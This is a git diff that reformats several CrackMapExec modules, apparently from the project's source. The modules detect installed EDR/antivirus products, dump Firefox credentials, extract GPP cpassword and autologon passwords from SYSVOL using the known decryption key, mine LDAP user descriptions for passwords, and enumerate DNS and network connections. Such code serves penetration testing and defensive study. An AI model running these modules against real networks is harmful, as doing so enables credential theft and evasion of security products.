description = "Gathers information on all endpoint protection solutions installed on the the remote host(s) via LsarLookupNames (no privilege needed)"
supported_protocols = ["smb"]
@@ -26,8 +27,7 @@ class CMEModule:
self.module_options = module_options
def options(self, context, module_options):
"""
"""
""" """
pass
def on_login(self, context, connection):
@@ -37,18 +37,27 @@ class CMEModule:
context.log.debug("Detecting installed services on {} using LsarLookupNames()...".format(target))
try:
lsa = LsaLookupNames(connection.domain, connection.username, connection.password, target, connection.kerberos, connection.domain, connection.lmhash, connection.nthash)
lsa = LsaLookupNames(
connection.domain,
connection.username,
connection.password,
target,
connection.kerberos,
connection.domain,
connection.lmhash,
connection.nthash,
)
dce, rpctransport = lsa.connect()
policyHandle = lsa.open_policy(dce)
for i, product in enumerate(conf['products']):
for service in product['services']:
for i, product in enumerate(conf["products"]):
for service in product["services"]:
try:
lsa.LsarLookupNames(dce, policyHandle, service['name'])
lsa.LsarLookupNames(dce, policyHandle, service["name"])
context.log.display(f"Detected installed service on {connection.host}: {product['name']} {service['description']}")
if product['name'] not in results:
results[product['name']] = {"services": []}
results[product['name']]['services'].append(service)
if product["name"] not in results:
results[product["name"]] = {"services": []}
results[product["name"]]["services"].append(service)
except Exception as e:
pass
success += 1
@@ -57,17 +66,17 @@ class CMEModule:
context.log.display(f"Detecting running processes on {connection.host} by enumerating pipes...")
try:
for f in connection.conn.listPath('IPC$', '\\*'):
for f in connection.conn.listPath("IPC$", "\\*"):
fl = f.get_longname()
for i, product in enumerate(conf['products']):
for pipe in product['pipes']:
if pathlib.PurePath(fl).match(pipe['name']):
for i, product in enumerate(conf["products"]):
for pipe in product["pipes"]:
if pathlib.PurePath(fl).match(pipe["name"]):
context.log.debug(f"{product['name']} running claim found on {connection.host} by existing pipe {fl} (likely processes: {pipe['processes']})")
if product['name'] not in results:
results[product['name']] = {}
if "pipes" not in results[product['name']]:
results[product['name']]['pipes'] = []
results[product['name']]['pipes'].append(pipe)
if product["name"] not in results:
results[product["name"]] = {}
if "pipes" not in results[product["name"]]:
results[product["name"]]["pipes"] = []
results[product["name"]]["pipes"].append(pipe)
success += 1
except Exception as e:
context.log.debug(str(e))
@@ -79,15 +88,15 @@ class CMEModule:
out1 = ""
for item in results:
out = out1
if 'services' in results[item]:
if "services" in results[item]:
out += f"{item} INSTALLED"
if 'pipes' in results[item]:
if "pipes" in results[item]:
out += " and it seems to be RUNNING"
# else:
# for product in conf['products']:
# if (item == product['name']) and (len(product['pipes']) == 0):
# out += " (NamedPipe for this service was not provided in config)"
elif 'pipes' in results[item]:
elif "pipes" in results[item]:
out += f" {item} RUNNING"
context.log.highlight(out)
if (len(results) < 1) and (success > 1):
@@ -95,7 +104,7 @@ class CMEModule:
context.log.highlight(out)
class LsaLookupNames():
class LsaLookupNames:
timeout = None
authn_level = None
protocol = None
@@ -105,7 +114,17 @@ class LsaLookupNames():
iface_uuid = lsat.MSRPC_UUID_LSAT
authn = True
def __init__(self, domain="", username="", password="", remote_name="", k=False, kdcHost="", lmhash="", nthash=""):
def __init__(
self,
domain="",
username="",
password="",
remote_name="",
k=False,
kdcHost="",
lmhash="",
nthash="",
):
self.domain = domain
self.username = username
self.password = password
@@ -133,7 +152,7 @@ class LsaLookupNames():
rpc_transport.set_connect_timeout(self.timeout)
# Authenticate if specified
if self.authn and hasattr(rpc_transport, 'set_credentials'):
if self.authn and hasattr(rpc_transport, "set_credentials"):
# This method exists only for selected protocol sequences.
rpc_transport.set_credentials(self.username, self.password, self.domain, self.lmhash, self.nthash)
@@ -161,254 +180,221 @@ class LsaLookupNames():
def open_policy(self, dce):
request = lsad.LsarOpenPolicy2()
request['SystemName'] = NULL
request['ObjectAttributes']['RootDirectory'] = NULL
request['ObjectAttributes']['ObjectName'] = NULL
request['ObjectAttributes']['SecurityDescriptor'] = NULL
request['ObjectAttributes']['SecurityQualityOfService'] = NULL
request['DesiredAccess'] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES
request["SystemName"] = NULL
request["ObjectAttributes"]["RootDirectory"] = NULL
request["ObjectAttributes"]["ObjectName"] = NULL
request["ObjectAttributes"]["SecurityDescriptor"] = NULL
request["ObjectAttributes"]["SecurityQualityOfService"] = NULL
request["DesiredAccess"] = MAXIMUM_ALLOWED | lsat.POLICY_LOOKUP_NAMES
resp = dce.request(request)
return resp['PolicyHandle']
return resp["PolicyHandle"]
def LsarLookupNames(self, dce, policyHandle, service):
request = lsat.LsarLookupNames()
request['PolicyHandle'] = policyHandle
request['Count'] = 1
request["PolicyHandle"] = policyHandle
request["Count"] = 1
name1 = RPC_UNICODE_STRING()
name1['Data'] = 'NT Service\{}'.format(service)
request['Names'].append(name1)
request['TranslatedSids']['Sids'] = NULL
request['LookupLevel'] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
name1["Data"] = "NT Service\{}".format(service)
request["Names"].append(name1)
request["TranslatedSids"]["Sids"] = NULL
request["LookupLevel"] = lsat.LSAP_LOOKUP_LEVEL.LsapLookupWksta
resp = dce.request(request)
return resp
conf = {
"products": [
{
"name": "Bitdefender",
"services": [
"products": [
{
"name": "bdredline_agent",
"description": "Bitdefender Agent RedLine Service"
"name": "Bitdefender",
"services": [
{
"name": "bdredline_agent",
"description": "Bitdefender Agent RedLine Service",
},
{"name": "BDAuxSrv", "description": "Bitdefender Auxiliary Service"},
{
"name": "UPDATESRV",
"description": "Bitdefender Desktop Update Service",
},
{"name": "VSSERV", "description": "Bitdefender Virus Shield"},
{"name": "bdredline", "description": "Bitdefender RedLine Service"},
],
"pipes": [
{
"name": "local\\msgbus\\antitracker.low\\*",
"processes": ["bdagent.exe"],
},
{
"name": "local\\msgbus\\aspam.actions.low\\*",
"processes": ["bdagent.exe"],
},
{
"name": "local\\msgbus\\bd.process.broker.pipe",
"processes": ["bdagent.exe", "bdservicehost.exe", "updatesrv.exe"],
},
{"name": "local\\msgbus\\bdagent*", "processes": ["bdagent.exe"]},
{
"name": "local\\msgbus\\bdauxsrv",
"processes": ["bdagent.exe", "bdntwrk.exe"],
},
],
},
{
"name": "BDAuxSrv",
"description": "Bitdefender Auxiliary Service"
"name": "Windows Defender",
"services": [
{
"name": "WinDefend",
"description": "Windows Defender Antivirus Service",
},
{
"name": "Sense",
"description": "Windows Defender Advanced Threat Protection Service",
},
{
"name": "WdNisSvc",
"description": "Windows Defender Antivirus Network Inspection Service",
},
],
"pipes": [],
},
{
"name": "UPDATESRV",
"description": "Bitdefender Desktop Update Service"
"name": "ESET",
"services": [
{"name": "ekm", "description": "ESET"},
{"name": "epfw", "description": "ESET"},
{"name": "epfwlwf", "description": "ESET"},
{"name": "epfwwfp", "description": "ESET"},
{"name": "EraAgentSvc", "description": "ESET"},
],
"pipes": [{"name": "nod_scriptmon_pipe", "processes": [""]}],
},
{
"name": "VSSERV",
"description": "Bitdefender Virus Shield"
"name": "CrowdStrike",
"services": [
{
"name": "CSFalconService",
"description": "CrowdStrike Falcon Sensor Service",
}
],
"pipes": [
{
"name": "CrowdStrike\\{*",
"processes": ["CSFalconContainer.exe", "CSFalconService.exe"],
}
],
},
{
"name": "bdredline",
"description": "Bitdefender RedLine Service"
}
],
"pipes": [
{
"name": "local\\msgbus\\antitracker.low\\*",
"processes": [
"bdagent.exe"
]
"name": "SentinelOne",
"services": [
{
"name": "SentinelAgent",
"description": "SentinelOne Endpoint Protection Agent",
},
{
"name": "SentinelStaticEngine",
"description": "Manage static engines for SentinelOne Endpoint Protection",
},
{
"name": "LogProcessorService",
"description": "Manage logs for SentinelOne Endpoint Protection",
},
],
"pipes": [
{"name": "SentinelAgentWorkerCert.*", "processes": [""]},
{"name": "DFIScanner.Etw.*", "processes": ["SentinelStaticEngine.exe"]},
{"name": "DFIScanner.Inline.*", "processes": ["SentinelAgent.exe"]},
],
},
{
"name": "local\\msgbus\\aspam.actions.low\\*",
"processes": [
"bdagent.exe"
]
"name": "Carbon Black App Control",
"services": [{"name": "Parity", "description": "Carbon Black App Control Agent"}],
"pipes": [],
},
{
"name": "local\\msgbus\\bd.process.broker.pipe",
"processes": [
"bdagent.exe",
"bdservicehost.exe",
"updatesrv.exe"
]
"name": "Cybereason",
"services": [
{
"name": "CybereasonActiveProbe",
"description": "Cybereason Active Probe",
},
{"name": "CybereasonCRS", "description": "Cybereason Anti-Ransomware"},
{
"name": "CybereasonBlocki",
"description": "Cybereason Execution Prevention",
},
],
"pipes": [
{
"name": "CybereasonAPConsoleMinionHostIpc_*",
"processes": ["minionhost.exe"],
},
{
"name": "CybereasonAPServerProxyIpc_*",
"processes": ["minionhost.exe"],
},
],
},
{
"name": "local\\msgbus\\bdagent*",
"processes": [
"bdagent.exe"
]
"name": "Symantec Endpoint Protection",
"services": [
{
"name": "SepMasterService",
"description": "Symantec Endpoint Protection",
},
{
"name": "SepScanService",
"description": "Symantec Endpoint Protection Scan Services",
},
{"name": "SNAC", "description": "Symantec Network Access Control"},
],
"pipes": [],
},
{
"name": "local\\msgbus\\bdauxsrv",
"processes": [
"bdagent.exe",
"bdntwrk.exe"
]
}
]
},
{
"name": "Windows Defender",
"services": [
{
"name": "WinDefend",
"description": "Windows Defender Antivirus Service"
"name": "Sophos Intercept X",
"services": [
{
"name": "SntpService",
"description": "Sophos Network Threat Protection"
},
{
"name": "Sophos Endpoint Defense Service",
"description": "Sophos Endpoint Defense Service"
},
{
"name": "Sophos File Scanner Service",
"description": "Sophos File Scanner Service"
},
{
"name": "Sophos Health Service",
"description": "Sophos Health Service"
},
{
"name": "Sophos Live Query",
"description": "Sophos Live Query"
},
{
"name": "Sophos Managed Threat Response",
"description": "Sophos Managed Threat Response"
},
{
"name": "Sophos MCS Agent",
"description": "Sophos MCS Agent"
},
{
"name": "Sophos MCS Client",
"description": "Sophos MCS Client"
},
{
"name": "Sophos System Protection Service",
"description": "Sophos System Protection Service"
}
],
"pipes": [
{"name": "SophosUI", "processes": [""]},
{"name": "SophosEventStore", "processes": [""]},
{"name": "sophos_deviceencryption", "processes": [""]},
{"name": "sophoslivequery_*", "processes": [""]},
],
},
{
"name": "Sense",
"description": "Windows Defender Advanced Threat Protection Service"
},
{
"name": "WdNisSvc",
"description": "Windows Defender Antivirus Network Inspection Service"
}
],
"pipes": []
},
{
"name": "ESET",
"services": [
{
"name": "ekm",
"description": "ESET"
},
{
"name": "epfw",
"description": "ESET"
},
{
"name": "epfwlwf",
"description": "ESET"
},
{
"name": "epfwwfp",
"description": "ESET"
},
{
"name": "EraAgentSvc",
"description": "ESET"
}
],
"pipes": [
{
"name": "nod_scriptmon_pipe",
"processes": [
""
]
}
]
},
{
"name": "CrowdStrike",
"services": [
{
"name": "CSFalconService",
"description": "CrowdStrike Falcon Sensor Service"
}
],
"pipes": [
{
"name": "CrowdStrike\\{*",
"processes": [
"CSFalconContainer.exe",
"CSFalconService.exe"
]
}
]
},
{
"name": "SentinelOne",
"services": [
{
"name": "SentinelAgent",
"description": "SentinelOne Endpoint Protection Agent"
},
{
"name": "SentinelStaticEngine",
"description": "Manage static engines for SentinelOne Endpoint Protection"
},
{
"name": "LogProcessorService",
"description": "Manage logs for SentinelOne Endpoint Protection"
}
],
"pipes": [
{
"name": "SentinelAgentWorkerCert.*",
"processes": [
""
]
},
{
"name": "DFIScanner.Etw.*",
"processes": [
"SentinelStaticEngine.exe"
]
},
{
"name": "DFIScanner.Inline.*",
"processes": [
"SentinelAgent.exe"
]
}
]
},
{
"name": "Carbon Black App Control",
"services": [
{
"name": "Parity",
"description": "Carbon Black App Control Agent"
}
],
"pipes": []
},
{
"name": "Cybereason",
"services": [
{
"name": "CybereasonActiveProbe",
"description": "Cybereason Active Probe"
},
{
"name": "CybereasonCRS",
"description": "Cybereason Anti-Ransomware"
},
{
"name": "CybereasonBlocki",
"description": "Cybereason Execution Prevention"
}
],
"pipes": [
{
"name": "CybereasonAPConsoleMinionHostIpc_*",
"processes": [
"minionhost.exe"
]
},
{
"name": "CybereasonAPServerProxyIpc_*",
"processes": [
"minionhost.exe"
]
}
]
},
{
"name": "Symantec Endpoint Protection",
"services": [
{
"name": "SepMasterService",
"description": "Symantec Endpoint Protection"
},
{
"name": "SepScanService",
"description": "Symantec Endpoint Protection Scan Services"
},
{
"name": "SNAC",
"description": "Symantec Network Access Control"
}
],
"pipes": []
}
]
]
}
+16 -13
View File
@@ -10,6 +10,7 @@ class CMEModule:
Uses WMI to dump DNS from an AD DNS Server.
Module by @fang0654
"""
name = "enum_dns"
description = "Uses WMI to dump DNS from an AD DNS Server"
supported_protocols = ["smb"]
@@ -26,8 +27,8 @@ class CMEModule:
DOMAIN Domain to enumerate DNS for. Defaults to all zones.
"""
self.domains = None
if module_options and 'DOMAIN' in module_options:
self.domains = module_options['DOMAIN']
if module_options and "DOMAIN" in module_options:
self.domains = module_options["DOMAIN"]
def on_admin_login(self, context, connection):
if not self.domains:
@@ -36,24 +37,27 @@ class CMEModule:
if output:
for result in output:
domains.append(result['Name']['value'])
domains.append(result["Name"]["value"])
context.log.success('Domains retrieved: {}'.format(domains))
context.log.success("Domains retrieved: {}".format(domains))
else:
domains = [self.domains]
data = ""
for domain in domains:
output = connection.wmi(f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}", "root\\microsoftdns")
output = connection.wmi(
f"Select TextRepresentation FROM MicrosoftDNS_ResourceRecord WHERE DomainName = {domain}",
"root\\microsoftdns",
)
if output:
domain_data = {}
context.log.highlight(f"Results for {domain}")
data += f"Results for {domain}\n"
for entry in output:
text = entry['TextRepresentation']['value']
rname = text.split(' ')[0]
rtype = text.split(' ')[2]
rvalue = ' '.join(text.split(' ')[3:])
text = entry["TextRepresentation"]["value"]
rname = text.split(" ")[0]
rtype = text.split(" ")[2]
rvalue = " ".join(text.split(" ")[3:])
if domain_data.get(rtype, False):
domain_data[rtype].append(f"{rname}: {rvalue}")
else:
@@ -63,10 +67,9 @@ class CMEModule:
context.log.highlight(f"Record Type: {k}")
data += f"Record Type: {k}\n"
for d in sorted(v):
context.log.highlight("\t"+d)
context.log.highlight("\t" + d)
data += "\t" + d + "\n"
log_name = 'DNS-Enum-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
log_name = "DNS-Enum-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(data, log_name)
context.log.display(f"Saved raw output to {log_name}")
+2
View File
@@ -1,11 +1,13 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
class CMEModule:
"""
Example
Module by @yomama
"""
name = "example module"
description = "I do something"
supported_protocols = []
+14 -5
View File
@@ -9,15 +9,16 @@ class CMEModule:
Inspired by firefox looting from DonPAPI
https://github.com/login-securite/DonPAPI
"""
name = 'firefox'
description = 'Dump credentials from Firefox'
supported_protocols = ['smb']
name = "firefox"
description = "Dump credentials from Firefox"
supported_protocols = ["smb"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""Dump credentials from Firefox"""
pass
pass
def on_admin_login(self, context, connection):
host = connection.hostname + "." + connection.domain
@@ -48,6 +49,14 @@ class CMEModule:
firefox_triage.upgrade_connection(connection=connection.conn)
firefox_credentials = firefox_triage.run()
for credential in firefox_credentials:
context.log.highlight("[%s][FIREFOX] %s %s:%s" % (credential.winuser, credential.url+' -' if credential.url != '' else '-', credential.username, credential.password))
context.log.highlight(
"[%s][FIREFOX] %s %s:%s"
% (
credential.winuser,
credential.url + " -" if credential.url != "" else "-",
credential.username,
credential.password,
)
)
except Exception as e:
context.log.debug("Error while looting firefox: {}".format(e))
+46 -43
View File
@@ -9,31 +9,32 @@ from cme.logger import cme_logger
class CMEModule:
"""
Get description of users
Module by @nodauf
Get description of users
Module by @nodauf
"""
name = 'get-desc-users'
description = 'Get description of the users. May contained password'
supported_protocols = ['ldap']
name = "get-desc-users"
description = "Get description of the users. May contained password"
supported_protocols = ["ldap"]
opsec_safe = True # Does the module touch disk?
multiple_hosts = True # Does it make sense to run this module on multiple hosts at a time?
def options(self, context, module_options):
"""
FILTER Apply the FILTER (grep-like) (default: '')
PASSWORDPOLICY Is the windows password policy enabled ? (default: False)
MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6)
FILTER Apply the FILTER (grep-like) (default: '')
PASSWORDPOLICY Is the windows password policy enabled ? (default: False)
MINLENGTH Minimum password length to match, only used if PASSWORDPOLICY is True (default: 6)
"""
self.FILTER = ''
self.MINLENGTH = '6'
self.FILTER = ""
self.MINLENGTH = "6"
self.PASSWORDPOLICY = False
if 'FILTER' in module_options:
self.FILTER = module_options['FILTER']
if 'MINLENGTH' in module_options:
self.MINLENGTH = module_options['MINLENGTH']
if 'PASSWORDPOLICY' in module_options:
if "FILTER" in module_options:
self.FILTER = module_options["FILTER"]
if "MINLENGTH" in module_options:
self.MINLENGTH = module_options["MINLENGTH"]
if "PASSWORDPOLICY" in module_options:
self.PASSWORDPOLICY = True
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{"+self.MINLENGTH+",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
self.regex = re.compile("((?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*\d)|(?=[^ ]*[a-z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*\d)(?=[^ ]*[^\w \n])|(?=[^ ]*[A-Z])(?=[^ ]*[a-z])(?=[^ ]*[^\w \n]))[^ \n]{" + self.MINLENGTH + ",}") # Credit : https://stackoverflow.com/questions/31191248/regex-password-must-have-at-least-3-of-the-4-of-the-following
def on_login(self, context, connection):
"""Concurrent. Required if on_admin_login is not present. This gets called on each authenticated connection"""
@@ -41,13 +42,15 @@ class CMEModule:
searchFilter = "(objectclass=user)"
try:
context.log.debug('Search Filter=%s' % searchFilter)
resp = connection.ldapConnection.search(searchFilter=searchFilter,
attributes=['sAMAccountName','description'],
sizeLimit=0)
context.log.debug("Search Filter=%s" % searchFilter)
resp = connection.ldapConnection.search(
searchFilter=searchFilter,
attributes=["sAMAccountName", "description"],
sizeLimit=0,
)
except ldap_impacket.LDAPSearchError as e:
if e.getErrorString().find('sizeLimitExceeded') >= 0:
context.log.debug('sizeLimitExceeded exception caught, giving up and processing the data received')
if e.getErrorString().find("sizeLimitExceeded") >= 0:
context.log.debug("sizeLimitExceeded exception caught, giving up and processing the data received")
# We reached the sizeLimit, process the answers we have already and that's it. Until we implement
# paged queries
resp = e.getAnswers()
@@ -57,33 +60,33 @@ class CMEModule:
return False
answers = []
context.log.debug('Total of records returned %d' % len(resp))
context.log.debug("Total of records returned %d" % len(resp))
for item in resp:
if isinstance(item, ldapasn1_impacket.SearchResultEntry) is not True:
continue
sAMAccountName = ''
description = ''
sAMAccountName = ""
description = ""
try:
for attribute in item['attributes']:
if str(attribute['type']) == 'sAMAccountName':
sAMAccountName = str(attribute['vals'][0])
elif str(attribute['type']) == 'description':
description = attribute['vals'][0]
if sAMAccountName != '' and description != '':
answers.append([sAMAccountName,description])
for attribute in item["attributes"]:
if str(attribute["type"]) == "sAMAccountName":
sAMAccountName = str(attribute["vals"][0])
elif str(attribute["type"]) == "description":
description = attribute["vals"][0]
if sAMAccountName != "" and description != "":
answers.append([sAMAccountName, description])
except Exception as e:
context.log.debug("Exception:", exc_info=True)
context.log.debug('Skipping item, cannot process due to error %s' % str(e))
context.log.debug("Skipping item, cannot process due to error %s" % str(e))
pass
answers = self.filter_answer(context, answers)
if len(answers) > 0:
context.log.success('Found following users: ')
context.log.success("Found following users: ")
for answer in answers:
context.log.highlight(u'User: {} description: {}'.format(answer[0],answer[1]))
context.log.highlight("User: {} description: {}".format(answer[0], answer[1]))
def filter_answer(self, context, answers):
# No option to filter
if self.FILTER == '' and not self.PASSWORDPOLICY:
if self.FILTER == "" and not self.PASSWORDPOLICY:
context.log.debug("No filter option enabled")
return answers
answersFiltered = []
@@ -93,21 +96,21 @@ class CMEModule:
conditionFilter = False
description = str(answer[1])
# Filter
if self.FILTER != '':
if self.FILTER != "":
conditionFilter = False
if self.FILTER in description:
conditionFilter = True
# Password policy
if self.PASSWORDPOLICY:
conditionPasswordPolicy = False
if self.regex.search(description):
conditionPasswordPolicy = True
if (self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy):
answersFiltered.append([answer[0],description])
if self.FILTER and conditionFilter and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0], description])
elif not self.FILTER and self.PASSWORDPOLICY and conditionPasswordPolicy:
answersFiltered.append([answer[0],description])
answersFiltered.append([answer[0], description])
elif not self.PASSWORDPOLICY and self.FILTER and conditionFilter:
answersFiltered.append([answer[0],description])
answersFiltered.append([answer[0], description])
return answersFiltered
+10 -11
View File
@@ -5,17 +5,18 @@ from datetime import datetime
from cme.helpers.logger import write_log
import json
class CMEModule:
"""
Uses WMI to extract network connections, used to find multi-homed hosts.
Module by @fang0654
Uses WMI to extract network connections, used to find multi-homed hosts.
Module by @fang0654
"""
name = 'get_netconnections'
description = 'Uses WMI to query network connections.'
supported_protocols = ['smb']
opsec_safe= True
name = "get_netconnections"
description = "Uses WMI to query network connections."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
@@ -25,16 +26,14 @@ class CMEModule:
pass
def on_admin_login(self, context, connection):
data = []
cards = connection.wmi(f"select DNSDomainSuffixSearchOrder, IPAddress from win32_networkadapterconfiguration")
for c in cards:
if c['IPAddress'].get('value'):
if c["IPAddress"].get("value"):
context.log.success(f"IP Address: {c['IPAddress']['value']}\tSearch Domain: {c['DNSDomainSuffixSearchOrder']['value']}")
data.append(cards)
log_name = 'network-connections-{}-{}.log'.format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
log_name = "network-connections-{}-{}.log".format(connection.args.target[0], datetime.now().strftime("%Y-%m-%d_%H%M%S"))
write_log(json.dumps(data), log_name)
context.log.display("Saved raw output to {}".format(log_name))
+24 -25
View File
@@ -4,60 +4,59 @@
import xml.etree.ElementTree as ET
from io import BytesIO
class CMEModule:
"""
Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1
Module by @byt3bl33d3r
Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPAutologon.ps1
Module by @byt3bl33d3r
"""
name = 'gpp_autologin'
description = 'Searches the domain controller for registry.xml to find autologon information and returns the username and password.'
supported_protocols = ['smb']
name = "gpp_autologin"
description = "Searches the domain controller for registry.xml to find autologon information and returns the username and password."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
""" """
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share['name'] == 'SYSVOL' and 'READ' in share['access']:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for Registry.xml")
context.log.success('Found SYSVOL share')
context.log.display('Searching for Registry.xml')
paths = connection.spider('SYSVOL', pattern=['Registry.xml'])
paths = connection.spider("SYSVOL", pattern=["Registry.xml"])
for path in paths:
context.log.display('Found {}'.format(path))
context.log.display("Found {}".format(path))
buf = BytesIO()
connection.conn.getFile('SYSVOL', path, buf.write)
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
if xml.findall('.//Properties[@name="DefaultPassword"]'):
usernames = []
passwords = []
domains = []
domains = []
xml_section = xml.findall(".//Properties")
for section in xml_section:
attrs = section.attrib
if attrs['name'] == 'DefaultPassword':
passwords.append(attrs['value'])
if attrs["name"] == "DefaultPassword":
passwords.append(attrs["value"])
if attrs['name'] == 'DefaultUserName':
usernames.append(attrs['value'])
if attrs["name"] == "DefaultUserName":
usernames.append(attrs["value"])
if attrs['name'] == 'DefaultDomainName':
domains.append(attrs['value'])
if attrs["name"] == "DefaultDomainName":
domains.append(attrs["value"])
if usernames or passwords:
context.log.success('Found credentials in {}'.format(path))
context.log.highlight('Usernames: {}'.format(usernames))
context.log.highlight('Domains: {}'.format(domains))
context.log.highlight('Passwords: {}'.format(passwords))
context.log.success("Found credentials in {}".format(path))
context.log.highlight("Usernames: {}".format(usernames))
context.log.highlight("Domains: {}".format(domains))
context.log.highlight("Passwords: {}".format(passwords))
+60 -42
View File
@@ -7,89 +7,107 @@ from base64 import b64decode
from binascii import unhexlify
from io import BytesIO
class CMEModule:
"""
Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
Module by @byt3bl33d3r
Reference: https://github.com/PowerShellMafia/PowerSploit/blob/master/Exfiltration/Get-GPPPassword.ps1
Module by @byt3bl33d3r
"""
name = 'gpp_password'
description = 'Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences.'
supported_protocols = ['smb']
name = "gpp_password"
description = "Retrieves the plaintext password and other information for accounts pushed through Group Policy Preferences."
supported_protocols = ["smb"]
opsec_safe = True
multiple_hosts = True
def options(self, context, module_options):
"""
"""
""" """
def on_login(self, context, connection):
shares = connection.shares()
for share in shares:
if share['name'] == 'SYSVOL' and 'READ' in share['access']:
if share["name"] == "SYSVOL" and "READ" in share["access"]:
context.log.success("Found SYSVOL share")
context.log.display("Searching for potential XML files containing passwords")
context.log.success('Found SYSVOL share')
context.log.display('Searching for potential XML files containing passwords')
paths = connection.spider('SYSVOL', pattern=['Groups.xml','Services.xml','Scheduledtasks.xml','DataSources.xml','Printers.xml','Drives.xml'])
paths = connection.spider(
"SYSVOL",
pattern=[
"Groups.xml",
"Services.xml",
"Scheduledtasks.xml",
"DataSources.xml",
"Printers.xml",
"Drives.xml",
],
)
for path in paths:
context.log.display('Found {}'.format(path))
context.log.display("Found {}".format(path))
buf = BytesIO()
connection.conn.getFile('SYSVOL', path, buf.write)
connection.conn.getFile("SYSVOL", path, buf.write)
xml = ET.fromstring(buf.getvalue())
sections = []
if 'Groups.xml' in path:
sections.append('./User/Properties')
if "Groups.xml" in path:
sections.append("./User/Properties")
elif 'Services.xml' in path:
sections.append('./NTService/Properties')
elif "Services.xml" in path:
sections.append("./NTService/Properties")
elif 'ScheduledTasks.xml' in path:
sections.append('./Task/Properties')
sections.append('./ImmediateTask/Properties')
sections.append('./ImmediateTaskV2/Properties')
sections.append('./TaskV2/Properties')
elif "ScheduledTasks.xml" in path:
sections.append("./Task/Properties")
sections.append("./ImmediateTask/Properties")
sections.append("./ImmediateTaskV2/Properties")
sections.append("./TaskV2/Properties")
elif 'DataSources.xml' in path:
sections.append('./DataSource/Properties')
elif "DataSources.xml" in path:
sections.append("./DataSource/Properties")
elif 'Printers.xml' in path:
sections.append('./SharedPrinter/Properties')
elif 'Drives.xml' in path:
sections.append('./Drive/Properties')
elif "Printers.xml" in path:
sections.append("./SharedPrinter/Properties")
elif "Drives.xml" in path:
sections.append("./Drive/Properties")
for section in sections:
xml_section = xml.findall(section)
for attr in xml_section:
props = attr.attrib
if 'cpassword' in props:
for user_tag in ['userName', 'accountName', 'runAs', 'username']:
if "cpassword" in props:
for user_tag in [
"userName",
"accountName",
"runAs",
"username",
]:
if user_tag in props:
username = props[user_tag]
password = self.decrypt_cpassword(props['cpassword'])
password = self.decrypt_cpassword(props["cpassword"])
context.log.success('Found credentials in {}'.format(path))
context.log.highlight('Password: {}'.format(password))
for k,v in props.items():
if k != 'cpassword':
context.log.highlight('{}: {}'.format(k, v))
context.log.success("Found credentials in {}".format(path))
context.log.highlight("Password: {}".format(password))
for k, v in props.items():
if k != "cpassword":
context.log.highlight("{}: {}".format(k, v))
hostid = context.db.get_hosts(connection.host)[0][0]
context.db.add_credential('plaintext', '', username, password, pillaged_from=hostid)
context.db.add_credential(
"plaintext",
"",
username,
password,
pillaged_from=hostid,
)
def decrypt_cpassword(self, cpassword):
#Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
# Stolen from hhttps://gist.github.com/andreafortuna/4d32100ae03abead52e8f3f61ab70385
# From MSDN: http://msdn.microsoft.com/en-us/library/2c15cbf0-f086-4c74-8b70-1f2fa45dd4be%28v=PROT.13%29#endNote2
key = unhexlify('4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b')
key = unhexlify("4e9906e8fcb66cc9faf49310620ffee8f496e806cc057990209b09a433b66c1b")
cpassword += "=" * ((4 - len(cpassword) % 4) % 4)
password = b64decode(cpassword)
IV = "\x00" * 16
+31 -29
View File
@@ -7,16 +7,16 @@ from impacket.ldap import ldap as ldap_impacket
class CMEModule:
"""
Created as a contributtion from HackTheBox Academy team for CrackMapExec
Reference: https://academy.hackthebox.com/module/details/84
Created as a contributtion from HackTheBox Academy team for CrackMapExec
Reference: https://academy.hackthebox.com/module/details/84
Module by @juliourena
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
Module by @juliourena
Based on: https://github.com/juliourena/CrackMapExec/blob/master/cme/modules/get_description.py
"""
name = 'groupmembership'
name = "groupmembership"
description = "Query the groups to which a user belongs."
supported_protocols = ['ldap']
supported_protocols = ["ldap"]
opsec_safe = True
multiple_hosts = True
@@ -26,13 +26,13 @@ class CMEModule:
"""
self.user = ""
if 'USER' in module_options:
if module_options['USER'] == "":
context.log.fail('Invalid value for USER option!')
if "USER" in module_options:
if module_options["USER"] == "":
